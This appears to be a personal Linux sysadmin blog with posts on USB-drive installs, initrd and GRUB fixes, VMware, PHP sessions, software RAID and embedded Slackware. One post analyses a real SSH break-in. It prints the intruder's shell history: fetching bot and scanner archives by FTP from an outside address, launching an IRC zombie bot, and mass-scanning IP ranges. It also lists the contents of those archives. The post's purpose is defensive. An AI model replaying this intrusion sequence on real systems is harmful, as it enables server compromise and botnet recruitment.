Installing Linux on an external USB hard drive

First a little background…

Why would one want to install Linux on an external USB hard drive instead of setting up a dual-boot type system? Well, for starters, the intended target for this OS is my laptop. My laptop hard drive already has Vista installed and I didn’t feel like using a partition editor to create a new partition using the free space on the drive. Also, installing a second hard drive in a laptop is simply not an option. I could have opted for installing a small-footprint Linux distro on a USB thumb drive, but I wanted a full-featured OS that was not limited in any way.

The main reason for this little project is that I can only be truly happy in a Linux environment when I do serious (web development) work. I love having a local MySQL, Apache, and PHP installation. I love having access to a terminal. I love using Subversion via CLI and I cannot stand PHPMyAdmin.

Now, normally, I don’t do any major development work on my laptop – it’s an e-mail checking, web browsing, IM’ing, and general computing type machine that runs Vista (oh come on, it’s not that bad.) But, I will be working out of the company’s Sacramento office for several days next month and I’d like to bring my laptop and get some actual work done. Because I am picky about my development environment, I decided to duplicate my work machine on an external drive that I could simply plug in to my laptop (or any other computer that supports booting from an external USB hard drive.)

So without further ado…

I opted to install Fedora 10 with the external drive attached to my desktop system – which, fortunately for me, shares much in common with my laptop. Namely, both systems have a 64-bit processor, 2 GB of RAM, and an ATI video card. In theory, it shouldn’t matter which system you attach the drive to for the installation process, so long as you don’t install the 64-bit version when the intended target is a 32-bit system. If you want an install that can be plugged into any system, you may want to opt for the 32-bit version of the OS. Also, if you install the OS on a platform with an ATI video card and then attach the drive to a system that has an Nvidia graphics chipset (or vice versa), you may have some video card driver issues when first booting into Xorg, but, then again, Xorg may detect the proper video card on boot up and correct the issue automatically.

The installation itself was straightforward enough – connect the external drive to the computer, insert Fedora 10 install DVD, reboot computer, select external drive as installation target, and install the OS. The whole installation process took several hours – mainly because I opted for the additional repositories during installation so the final install would be 100% up-to-date. Also, working on an external drive is always going to be slower than an internal drive.

Once the installation was finished, I rebooted my desktop in the hopes of being able to test it out. Alas, my desktop did not want to boot from the external drive even though I had selected “USB hard drive” as the boot device. I thought maybe GRUB had not been properly installed on the external drive, so I booted up the Fedora 10 DVD and did a “Linux Rescue” session, reinstalling GRUB. This did not fix the situation.

Dubious this installation would work at all, I proceeded to disconnect the drive from the desktop and connect it to the laptop (Toshiba Satellite A215-S7437) for a final test. During the BIOS POST, I hit F12 to bring up the boot device selection list and crossed my fingers. In the boot list that eventually appeared, the usual devices were present: CD/DVD, Hard drive, and Network – but there was also a “USB memory” device present. I selected this device and low and behold, Fedora 10 began loading and in no time at all, I was presented with a log in screen.

Impressions and observations so far…

The system is far more responsive than I thought it would be, considering it’s running from an external USB 2.0 drive. That being said, it’s obviously not as fast as an internal drive. But I find it to be more than adequate for more needs.

One glitch I have come across is when connecting another (USB powered) external drive to the laptop – it causes the primary external drive to reset and the whole system locks up. I suspect this is a limitation of the laptop’s USB hardware – but it could be a kernel issue as well.

Bad initrd image with Fedora 10 update

Yet again, I seem to be getting a bad initrd image with a Kernel update. On boot, the system will respond with:

mount: cannot mount /dev/root on /sysroot

The solution, as stated in the previous post, is to boot into a known working Kernel, and re-build the initrd image. Create a backup of the original before you proceed, then apply this command within the /boot directory as root (with the correct Kernel version instead of the example below):

mkinitrd initrd-2.6.27.15-170.2.24.fc10.i686.img 2.6.27.15-170.2.24.fc10.i686

Now reboot and let it boot into the new Kernel. You should be good to go!

My morning and a possessed computer

I came in to work this morning and began my usual routine of removing my backpack, setting my cup of coffee down, setting up my laptop, and then “shaking” the mouse to wake up my desktop computer. (Yes, I bring my laptop to work with me even though I have a desktop PC running Fedora 10.) When the monitor finally kicked in, I was presented with a standard terminal text stating drive sdb2 had read/write failures. Not a very pretty thing to look at first thing in the morning. Instantly, I had visions of read/writes heads crashing into platters and all my un-backed-up data swirling down the proverbial drain. I hit the reset button on the computer and held my breath.

After what seemed an eternity of POST data, a Grub menu was presented. I exhaled. Maybe everything was going to be fine? Maybe the drive had been “put to sleep” and for some reason could not resume from its state of slumber? A bad APM or ACPI driver? A small power surge during the night? I pondered the possibilities. After five seconds, the kernel began loading and I continued my morning routine believing all was well.

Finally sat in front of the desktop, the final bits of the kernel were finishing loading when yet another kernel error reared its head. Though not nearly as severe sounding as the previous error, it still did not bode well:

mount: cannot mount /dev/root on /sysroot

After searching for possible solutions to this well documented “feature”, I booted up a previous Kernel (I knew there was a reason I was keeping a half dozen old Kernels installed on the system) and decided to rebuild the initrd for the latest installed Kernel (2.6.27.15-170.2.24) on my system. I backed up the existing initrd, and ran:

mkinitrd initrd-2.6.27.15-170.2.24.fc10.i686.img 2.6.27.15-170.2.24.fc10.i686

I then rebooted the machine hoping my troubles were now gone. After a lengthy POST, a Grub menu showed up. So far so good. I selected the default (latest) Kernel and again held my breath. After a few moments, the log in (run level 5) screen popped up. Success!

Or so I thought. I quickly logged in and instantly noticed that it was taking forever to load the desktop and never really finished. It didn’t take long before I figured out that Compiz was not loading. What now?! I ensured that the fglrx (I use ATI products) module was indeed loaded at boot:

lsmod | grep fglrx

The fglrx module was indeed being loaded at boot which meant that Xorg was not able to load its drivers for fglrx for whatever reason. On a hunch, as root, I compared time stamps for the various xorg.conf* files to see if any had been modified by a system update. I ran:

ls -lFa /etc/X11/xorg.conf*

Curious. Xorg.conf had indeed been modified the day before. I knew it was not me, so maybe a system update? I compared the current xorg.conf to previous xorg.conf* files and discovered something very bizarre: Two lines from the <files> section were missing. The two lines that were missing were paths to the Xorg modules paths. I copied and pasted the missing lines back into the xorg.conf file, saved, and then exited the text editor. I logged out of my X session and manually rebooted X by pressing:

<ctrl> <alt> <backspace>

I logged back in and everything was back to normal.

The question I have is this: What happened to my machine from the time I left work the previous night to this morning? Did demons crawl into the box and possess it? Very strange.

Installing VMWare Tools with VMWare Player

Once you have your virtual environment setup and an OS installed, it is very likely that the system will not perform to its absolute potential. That’s because the “hardware” which VMPlayer and VMWorkstation emulate is not supported by Windows or Linux by default. That’s where VMWare Tools comes into play. VMWare tools supplies all the necessary drivers along with several handy tools and applications to extend the functionality of VMWare Workstation and VMWare Player.

However, here is the catch: VMWare Tools is not available as a separate download and only comes bundled with the VMWare Workstation and, moreover, VMWare Workstation is not a free application.

There is a way to get around this though. As of this writing, it is still possible to download a “trial” copy of VMWare Workstation. You will most likely need to uninstall VMWare Player (if it’s installed) and then install the evaluation copy of VMWare Workstation. Once VMWare Workstation is installed and you boot up your virtual Windows or Linux OS, simply click VM->Install VMWare Tools… in the menu. This will automatically connect an ISO image on your hard drive to the virtual CD-ROM/DVD drive. For Windows users, this means the “autoplay” feature should automatically bring up the installation program for you. For Linux users, it will mount the drive and open a file browser, where you can either install the RPM (recommended) or install from source.

So what happens when the evaluation copy of VMWare Workstation finally expires? If you enjoyed using it and found it to be far superior than VMWare Player – why not consider purchasing the full-blown version? If this is not possible, you can always remove VMWare Workstation from your system (via Add/Remove Programs) and re-install VMWare Player. The installation of VMWare Tools will not be removed if you remove VMWare Workstation.

Another option is to copy the VMWare Tools ISO files (each OS should have its own ISO file) from the VMWare Workstation installation to a backup location for future use. This of course assumes you have purchased the full version of VMWare Tools. Doing a search for “.iso” should show you the location for your installed version. Once copied to a backup location, you can now easily mount the ISO file within your VMWare virtual environment and install VMWare Tools.

VMware Raw Disk BSOD

Recently, I switched over to Linux as my desktop OS at work. The OS (Fedora) was installed on a dedicated drive and I kept my XP install intact on its own drive, knowing that at some point I may need to boot into Windows to run some application or test a web application in Internet Explorer.

As the weeks went by, I found that I rarely needed to boot into Windows, and, if I did, I only needed to be in the OS for just a few minutes. Rather than having to reboot each time to switch into an OS, I decided to jump into the world of virtualization.

I knew I could simply install Windows into a new disk image, but why do that when I already had a dedicated drive with Windows XP installed? Besides, if reinstalled, all my settings and drivers and programs would need to be reinstalled – no fun! So I began researching into using VMPlayer (free) with an entire disk of a pre-installed OS – and it is indeed possible.

I followed the directions step-by-step to Run Your Windows With VMware (the site requires a free registration in order to read the article – but getting your hands on Linux Mag articles is a good idea anyway) but ran into a few caveats:

VMplayer insisted it could not find the windows.vmx file.

This was resolved be ensuring that the files had the proper owner/group and permissions to read and write. Because I was logged in as root (via su) to do most of the legwork in creating the needed files, VMplayer did not have the sufficient read/write permissions. It may also be necessary to add the user to the “disk” group – for direct access to /dev/hdX or /dev/sdX. If you do add the user to the group, make sure to log out and then log back on again for the changes to take effect,

Once this was fixed, VMplayer began booting Windows XP, and the familiar logo and progress bar soon appeared. My hopes were dashed when the system suddenly “blue-screened”, which brings us to the next caveat:

0x00000007B Stop Error

After much research and wildly varying opinions on various blogs I think I may have rooted out the problem. 0x7B errors are a controller/drive error – in other words, a driver issue. You see, when you boot within a virtual environment, everything is virtualized, including hardware. So although I had the correct drivers installed for my hardware in native mode, Windows XP was running in a virtual environment with a different set of hardware. Here’s what you need to do:

1) Reboot the machine and boot into your Windows OS natively. After logging-in, you need to create a new hardware profile. Open up the control panel, select System, click the Hardware tab, and click the Hardware Profiles button. Now copy a hardware profile by selecting an existing profile and clicking the Copy button. Give your new hardware profile a name like “Virtual” or something similar.

2) Now that we have a dedicated hardware profile for our virtual environment, we need to prep the system by rebooting the machine once again, and once again boot into your Windows OS natively. However, when you boot into Windows, it should now stop and ask which hardware profile you would like to use. Select Virtual or whatever you called your new hardware profile.

3) Once the system has booted up and you have logged-in, we need to change some drivers, namely those of the IDE controllers by forcing them to be Standard Dual Channel PCI IDE Controller. Go to the control panel, select System, click the Hardware tab, and click the Device Manager button. Now, click the plus sign next to the IDE/ATAP Controllers label. A list of your controllers should now be seen. Begin by double-clicking the secondary controller and then clicking the Driver tab. Now click the Update Driver… button. Select No when asked if Windows Update can be used to find a driver for you. Select Install from a list or specific location (Advanced) and click Next. Now select Don’t search… and click Next. The following page will display drivers that are compatible for your system. You must select the Standard Dual Channel PCI IDE Controller driver and click Next. Repeat these steps for the Primary Controller as well. Usually Windows will tell you that you must reboot for the changes to take affect after you update the Primary Controller driver, be sure to agree to this but as the system reboots, select your Linux OS.

Now that a compatible set of drivers are installed, you should be able to start up VMplayer and successfully boot into your Windows OS. But remember, you must choose the Virtual hardware profile when the system boots within VMplayer and the standard hardware profile when you want to boot natively.

In the next entry, I’ll discuss how to install VMtools – a set of drivers specifically for the VMplayer/VMworkstation environment that greatly improves performance and adds some pretty cool functionality.

Yet Another Autoresponder (YAA) installation

I just finished a very grueling installation of a nifty little autoresponder called “Yet Another Autoresponder” (YAA.) The software is Perl based and requires only a few modules which can easily be installed or upgraded via CPAN. However, my difficulties in getting this system working were due to YAA not being able to find the configuration file (yaa.conf). What clued me in to the idea that YAA was not able to find the configuration file was the somewhat ambiguous error message in the maillog:

(Command died with status 1: "/usr/local/yaa/bin/yaa.pl". Command output: Cannot continue, becouse [sic] no lookup maps were defined. )

Looking through the sparse “documentation,” there is no mention of where to put the configuration file. I moved the yaa.conf file to various locations around the file system without any success. Finally, I took matters into my own hands and edited yaa.pl by hand. If you find yourself in the predicament, give this a try:

1) Copy yaa.conf to wherever you want it to reside. I chose the standard configuration path of /etc
2) Edit yaa.pl using your favorite editor and change the following line of code from:

$YAA_DEFAULT_CONFIG_FILE = $module_dir . YAA_SLASH . ".." . YAA_SLASH . "conf" . YAA_SLASH . "yaa.conf";

To:

$YAA_DEFAULT_CONFIG_FILE = "/etc/yaa.conf";

Of course be sure to replace /etc with the path of where you copied your yaa.conf.

After a quick test, I received my autoreponse. Double-checking /var/log/maillog showed no errors or complaints from YAA.

PHP & database sessions

If you have MySQL handle your PHP sessions and are finding that session data is not reliably being read after redirects via PHP’s header function, please read on.

For over a day I had been pulling my hair out trying to figure out why sessions were not sync’ing up after redirects via PHP’s header function. Some pages would load and others would not. I had just finished migrating our code base to a new server running slightly different versions of Apache, MySQL, and PHP – though from the same branches.

After some expirimentation, I discovered sessions handled by the defalt file handler would work just fine – just not reliadbly through my custom database handler. After even further investigation, redirects were working, the data for the session was “late” showing up and by simply refreshing the screen the data would be magically populated in $_SESSION.

After some reading around on the internet and some deep thinking, I understood the problem to be an issue of timing and/or cache timing issues. So, to resolve the issue, I add the session_write_close() command before each redirect I need. It works. Although, do not ask me why.

My LAMP versions:
Linux: RHEL 4.0
Apache: 2.0.52-22.ent
MySQL: 4.1.12-3.RHEL4.1
PHP: 4.3.9-3.9

Hope this saves someone!

Linux + Onboard SATA RAID

Are you considering using the onboard RAID feature of your SATA controller? Before you dive head-on into this project – there are a few things you should know.

Recently, my job took me into territory that was somewhat unfamiliar – the server realm. When I say server, I don’t mean a home server most of us Linux enthusiasts have. I mean a server – dual Opteron, 8GB RAM, and 2 x 320GB hard drives. The kind of server that can handle complex database queries in a matter of a few nano seconds. The kind of server that must be 100% secure and reliable. Our hope was to run the drives in a RAID-1 configuration for maximum stability. For those unfamiliar with RAID, a RAID-1 array mirrors data from one drive to another. This can really speed up disk reads and also gives you a very stable environment when using failover support – i.e. if one drive happens to die on you, the OS will automatically rollover to the backup disk. I had never setup a RAID array before, but felt confident that it could not be too difficult – of course, I was wrong.

The motherboard we selected for our server (a Tyan S2881) has four SATA connectors and a RAID controller. On initial power-up, I entered the BIOS and enabled the RAID controller for the SATA. Once RAID had been enabled, I entered the RAID BIOS and created the RAID-1 array using both disks. Assuming the RAID controller would handle everything else and that Linux would detect it, I continued with my installation of RedHat Enterprise Linux 4.0

I was gravely mistaken. Here is the issue: most newer motherboards that claim to have RAID support, have what is known as FakeRAID – essentially a software RAID. Drivers for these FakeRAID controllers found on most motherboards is not really supported in newer kernels. In my case, a Silicon Image 3114 controller, had a driver in the kernel but only supported the standard SATA protocol and did not enable any of the FakeRAID features of this chipset. Reading on boards and forums around the ‘net, I was informed that disabling the RAID controller in the BIOS and simply using the built-in software RAID within Linux was a much better alternative and was no better or worse than using the FakeRAID for my chipset.

Unsure if these claims were true, I spent some time finding a linux driver for my Silicon Image 3114 RAID controller. The manufacturer had them posted on their website along with installation directions. Half a work day was spent wrestling with these drivers reformating, repartionting. In the end I abandoned the idea of using the onboard RAID controller and proceeded to use the Software RAID option found in RedHat Linux.

After a successful install of RedHat Enterprise Linux 4 onto a RAID-1 array, I found that the boot loader was not correctly installed. If you run into the case where, after a successful install of Linux onto a RAID array, you are presented with simply: “GRUB” at boot up – do not worry. Grab your install CD or DVD and boot using “linux rescue”. Once booted, run:

grub
root (hd0,0)
setup (hd0)

Now reboot and you should be in business. Don’t forget to remove the install CD or DVD from the drive.

Heed my words, unless the RAID controller on your motherboard is a true hardware RAID controller, do not waste your time trying to get the FakeRAID working.

Anatomy of an SSH Brute Force Dictionary Attack

A few weeks ago I wrote that I had been noticing a large number of attempted SSH brute force dictionary attacks on my server. None were successful but I published some ways to protect yourself. This morning at 8am – a would be hacker succeeded in a dictionary attack – what he left behind was very interesting.

I wrote that my server was safe enough from these attacks and that my passwords were strong and the likelyhood someone could break into the server was virtually nill. There was one problem – I was not the only user of the server. I have several accounts that (well trusted) friends are allowed to use and one of them changed his password so that it matched his username. Since dictionary attacks look for this exact vulnerability when scanning – it did not take long for him to get in. Of course the account was not privileged in *any* way so no serious danger was caused. I was fortunate enough to notice the router lights going crazy this morning before I left for work. Curious as to what was going on, I poked around a bit and noticed a large volume of UDP traffic and figured out that I had been hacked. I immediatley disconnected the WAN port and began to investigate further.

What I found was very interesting and feel that I should share with everyone the anatomy of an SSH brute force hack.

The first thing I did was look at the .bash_history file in the user’s home directory which I shall call joe. The .bash_history is a list of all the commands you have typed in. The following is the content of that file:
ls
ls -lFa
ls
uptime
ls
cd /tmp
ls
cd ". "
passwd
/sbin/ifconfig | grep inet
wget http://www.kernel.org/pub/dist/superrescue/v2/superrescue-2.1.2.iso.gz
ls
rm -rf superrescue-2.1.2.iso.gz
ftp 212.247.250.250
tar xvf bots.tar
cd .bot
PATH="."
inetd
cd /tmp
tar xvf shh.tar
cd shh
ls
./scan 206.77
./scan 206.78
./scan 206.79
[ Note: there were many scan attempts]
c d/tmp
cd /tmp
cd shh
./scan 70.176
./scan 70.177
./scan 70.178
./scan 70.179
./scan 70.180
./scan 70.181
cd /tmp
cd shh
la
ls
cat vuln.txt
./scan 24.55
./scan 24.56
./scan 24.57
./scan 24.58
./scan 24.59
./scan 24.60
./scan 24.61
./scan 24.62
./scan 24.63
./scan 24.64

./scan 24.65
./scan 24.66
./scan 24.67
./scan 24.68
./scan 24.70
./scan 24.71
cd /tmp
cd shh
ls
cat vuln.txt
./scan 61.155
./scan 61.156
./scan 61.157
./scan 61.158
./scan 61.159
./scan 61.160
./scan 61.161
./scan 61.162
./scan 61.163
./scan 61.164
./scan 61.165
./scan 61.166
./scan 61.167
./scan 61.168
./scan 61.169
./scan 61.170
cd /tmp
cd shh
ls
cat vuln.txt
./scan 217.155
./scan 217.156
./scan 217.157
./scan 217.158
./scan 217.159
./scan 217.160
cd /tmp
cd shh
ls
cat vuln.txt
./scan 203.158
./scan 203.159
./scan 203.160
./scan 203.161
./scan 203.162
./scan 203.163
./scan 203.165
./scan 203.168
./scan 203.170
./scan 203.171
./scan 203.172
cd /tmp
cd shh
;s
ls
cat vuln.txt
./scan 192.145
./scan 192.146
./scan 192.147
./scan 192.148
./scan 192.149
./scan 192.150
./scan 192.151
./scan 192.152
./scan 192.153
./scan 192.154
./scan 192.155
./scan 192.156
./scan 192.157
./scan 192.158
./scan 192.159
./scan 192.160
./scan 192.161
./scan 192.162
./scan 192.163
./scan 192.164
./scan 192.165
./scan 192.166
./scan 192.167
./scan 192.168
./scan 192.169
./scan 192.170
./scan 192.171
./scan 192.172
./scan 192.173
./scan 192.174
./scan 192.175
./scan 192.176
./scan 67.45
cd /tmp
cd shh
./scan 67.44
cd /tmp
c dshh
cd shh
ls
cat vuln.txt
./scan 192.177
./scan 192.178
./scan 66.155
./scan 66.156
./scan 66.157
./scan 66.158
./scan 66.159
./scan 66.160
./scan 66.161
./scan 66.162
./scan 66.163
./scan 66.164
./scan 66.165
./scan 66.166
./scan 66.167
./scan 66.168
./scan 66.169
./scan 66.170
./scan 66.171
cd /tmp
cd shh
ls
cat vuln.txt
./scan 81.155
./scan 81.156
./scan 81.157
./scan 81.159
./scan 81.160
./scan 81.161
./scan 81.162
./scan 81.164
./scan 81.165
./scan 128.155
./scan 128.156
./scan 128.157
./scan 128.158
./scan 128.159
./scan 128.160
./scan 128.162
./scan 128.163
./scan 128.164
./scan 128.165
./scan 128.166
./scan 128.167
./scan 128.168
./scan 128.170
./scan 128.171
./scan 128.172
./scan 128.173
./scan 128.174
./scan 128.175
./scan 128.176
./scan 128.177
./scan 128.178
./scan 128.179
./scan 128.180
./scan 128.181
./scan 128.182
./scan 128.183
./scan 128.184
./scan 128.185
c d/tmp
cd /tmp
cd shh
ls
cat vuln.txt
./scan 80.155
./scan 80.156
./scan 80.157
./scan 80.158
./scan 80.159
./scan 213.177
./scan 213.17 8
./scan 213.178
./scan 213.179
./scan 213.180
./scan 213.181
./scan 213.182
./scan 213.183
./scan 213.184
./scan 213.185
./scan 213.186
./scan 213.187
cd /tmp
cd shh
;s
ls
cat vuln.txt
./scan 67.100
./scan 67.101
./scan 67.102
./scan 67.103
./scan 67.104
./scan 67.105
./scan 67.106


What’s going on above? The hacker logged in and checked some things out in the home directory (ls, ls -lFa). Then wanted to seee how long the server had been up for (uptime). Then, the hacker changed the password of the hacked account (passwd) and wanted to see what the IP address was of any interfaces on the machine (/sbin/ifconfig | grep inet).

Next, for some bizarre reason, he wanted to test the internet connection and read/writeability of the home directory (?) by issueing the command wget http://www.kernel.org/pub/dist/superrescue/v2/superrescue-2.1.2.iso.gz. After the file finished downloading, he immediately deleted it (rm -rf superrescue-2.2.2.iso.gz).

Now, he really gets to work by grabbing the necessary tools needed to exploit the server. Using FTP, he goes out and grabs two files, namely bots.tar and shh.tar.

The file size and contents of bots.tar is as follows:
File name: bots.tar
File size: 337920 bytes
Contents: drwxr-xr-x apache/apache 0 2005-08-29 05:26:06 .bot/
-rw-r--r-- apache/apache 65536 2003-03-30 09:04:34 .bot/core
-rwxr-xr-x apache/apache 143683 2003-10-21 10:16:53 .bot/inetd
-rw-r--r-- apache/apache 84 2005-08-29 05:25:36 .bot/mech.users
-rw------- apache/apache 12288 2005-05-09 06:43:43 .bot/.mech.users.swp
-rw-r--r-- apache/apache 22935 2001-04-06 13:00:50 .bot/mech.help
-rw-r--r-- apache/apache 1116 2005-08-29 05:23:08 .bot/mech.session
drwxr-xr-x apache/apache 0 2001-09-06 22:17:30 .bot/randfiles/
-rw-r--r-- apache/apache 830 2001-04-06 13:01:20 .bot/randfiles/randkicks.e
-rw-r--r-- apache/apache 2495 2001-04-06 13:01:34 .bot/randfiles/randpickup.e
-rw-r--r-- apache/apache 55316 2001-04-06 13:15:24 .bot/randfiles/randsay.e
-rw-r--r-- apache/apache 519 2001-04-06 13:01:26 .bot/randfiles/randnicks.e
-rw-r--r-- apache/apache 1465 2001-04-06 13:15:54 .bot/randfiles/randversions.e
-rw-r--r-- apache/apache 633 2001-04-06 13:15:42 .bot/randfiles/randsignoff.e
-rw-r--r-- apache/apache 5195 2001-04-06 13:01:10 .bot/randfiles/randaway.e
-rw-r--r-- apache/apache 2854 2001-04-06 13:01:16 .bot/randfiles/randinsult.e
-rw-r--r-- apache/apache 84 2005-08-29 05:25:52 .bot/mech1.users
-rw-r--r-- apache/apache 942 2001-04-06 13:00:32 .bot/checkmech
-rw-r--r-- apache/apache 84 2005-08-29 05:26:06 .bot/mech2.users
-rw-r--r-- apache/apache 6 2005-05-09 06:56:36 .bot/mech.pid
-rw-r--r-- apache/apache 2857 2005-08-29 05:24:15 .bot/mech.set
-rw-r--r-- apache/apache 1011 2005-05-09 07:00:02 .bot/mech.levels


The file size and contents of shh.tar is as follows:
File name: shh.tar
File size: 1413120 bytes
Contents: drwxr-xr-x support/support 0 2005-11-02 03:16:45 shh/
-rw-rw-r-- support/support 0 2005-11-02 02:50:33 shh/scan.log
-rwxr-xr-x support/support 282 2005-11-02 02:50:12 shh/scan
-rwxr-xr-x support/support 285 2005-11-02 02:49:20 shh/a
-rw-rw-r-- support/support 0 2005-11-02 02:49:36 shh/nobash.txt
-rw-rw-r-- support/support 0 2005-11-02 00:12:23 shh/vuln.txt
-rwxr-xr-x support/support 1384518 2005-06-05 13:24:05 shh/sshd
-rwxr-xr-x support/support 5944 2005-05-15 15:05:13 shh/pscan2
-rw-r--r-- support/support 5797 2005-05-15 14:53:29 shh/pscan2.c
-rw-rw-r-- support/support 2270 2005-11-02 03:16:45 shh/pass.txt


Once bot.tar was untarred, a local inetd daemon was started. I ran the inetd daemon and did a port scan on my own machine to see what port(s) it had opened up. It had created its own IRC server and was listening for commands – indicative of a so-called “Zombie bot” used in Distributed Denial Of Service (DDoS) attacks. Once inetd was loaded, the hacker began using my machine as another base of operations in scanning IP addresses that were also vulnerable to SSH dictionary attacks. After each ./scan X.Y all vulnerable IPs were logged in vuln.txt which is why he dumped out the contents of the file after each scan (cat vuln.txt).

How can you protect your server from such an attack?

Follow these simple guidelines:
1) Use good *strong* passwords (i.e. Six characters, upper AND lower case characters and at least one numeral). If you have other users, assign them a password that is difficult to guess and *do not* let them change it or enforce password rules mentioned above.
2) Disable root logins via SSH
3) Use the firewall rules I posted to drop packets after several failed SSH login attempts in X seconds

Building an embedded linux Radius appliance – Part 2

Choosing the right distro for a custom embedded Linux system is not easy. Most distros will not even install the most basic elements of the operating system in less than 512MB of space.

To begin the second phase of this project, I decided to partition an old hard drive to only 512MB – just to see if I could get a fully functional Linux system with Apache, PHP, and of course MySQL. FreeBSD 5.4 was my first choice of OS. After I kept receiving Singal 11 errors due to the fact that the install needed more than 512MB of hard drive space, I quickly moved on to explore pre-built LiveCD images designed to be installed to hard disc, Compact Flash, or a USB thumbdrive.

I was immediately surprised to see the number of projects available for embedded systems – however, since I did not even have my WRAP.1E motherboard and the compact flash card yet, I put these ideas on ice. One very noteworthy mention though is the m0n0wall project. m0n0wall can be installed on a CF or is available as a bootable LiveCD and provides advanced routing & firewall protection with an extremely well designed Web GUI configuration front end. By inserting a floppy into the machine, you can save your preferences for later retrieval. I decided to model the level of configuration and clean looking configuration GUI after this distro.

After other disappointed attempts at installing pre-made images for embedded systems, I moved onto a distro I rarely think about anymore: Slackware. Slackware is a great distro for advanced users who need a slim and trim install. There’s no fluff with Slackware. In fact, by choosing only the most basic setup options in the installer, I was able to get my install working on just 125MB of of hard drive space. This install included Apache and PHP.

To get your own pre-image / prototype working, format a hard drive to just 512MB (preferably the first partition). Download and burn just the first Slackware CD. Slackware does not have ISO images available directly from their website or mirrors, however, you can get the ISO using BitTorrent at slackware.com/torrent. Boot the CD and install only these package groups:

A, AP, L, and N

Be sure to choose the Expert mode install so you can also select the individual packages. Uncheck everything that is unnecessary, i.e. audio, graphics, X support, gcc, etc. and check those packages we do want, i.e. Apache (with mod_ssl), PHP, MySQL, OpenSSL, etc.

After installation and boot up, it took a few more rounds of installing necessary libraries. You can easily install needed libraries by mounting the Slackware install CD and changing to the the directory /mnt/cdrom/slackware/l (assuming your CD is mounted under /mnt/cdrom). Then type pkgtool and select Current directory. It will then list each and every package in the directory and prompt you with Yes / No / Cancel. In my install, I needed some extra libraries to get PHP and MySQL working properly.

Once you get all the necessary packages installed and configured, spend some time ensuring everything works. Check that your network interfaces are up and properly configured and that after a reboot, all daemons are started. Remember, we want a system that is bootable and does not require logging in to a console to start or configure.

See you in a few days!